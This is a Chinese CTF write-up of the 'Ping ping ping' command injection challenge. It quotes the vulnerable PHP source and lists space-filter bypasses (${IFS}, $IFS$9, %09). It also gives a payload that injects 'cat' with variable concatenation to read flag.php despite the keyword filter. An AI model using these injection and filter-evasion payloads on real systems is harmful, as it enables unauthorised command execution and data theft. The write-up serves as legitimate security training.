本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助

进入靶机,

提示用GET传参传入参数ip

传入/?ip=127.0.0.1试试

结合题目Ping ping ping,推出是道exec”ping”题

结合系统命令ls试试

看到index.php和flag.php文件

cat flag.php试试

发现空格被过滤,
命令绕过空格:

1
2
3
${IFS}
$IFS$9
%09


发现’flag’字符被过滤,是怎么被过滤的?
看看源码文件index.php能不能查看,

分析一下这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);//过滤了多种特殊字符
die("fxck your symbol!"); //包括:&, /, ?, *, <, >, ', ", , (, ), [, ], {, }以及ASCII码0x00-0x20的控制字符。
} else if(preg_match("/ /", $ip)){ //空格过滤,禁止输入中包含空格。
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){ //bash过滤,禁止输入中包含"bash"字符串。
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ //flag过滤,使用正则表达式匹配任何形式的"flag"字符串(字母间可以有任意字符)。
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip); //用户输入的$ip直接拼接到系统命令中
echo "

";
print_r($a);
}

?>

这段代码主要功能为:
1.获取用户输入的IP参数
2.对输入进行多层过滤和安全检查
3.如果通过检查,则执行ping命令并返回结果

因此我们要实现绕过空格过滤和flag过滤,
空格过滤:上面讲过
flag过滤:我们可以用拼接变量进行绕过
?a=g;cat fla$a.php //传入赋值为g的变量a,fla$a.php——>flag.php

cat flag.php后源代码并不会显示在网页上,应该是浏览器将其当作php代码执行了,可以通过查看源代码看到。

获得flag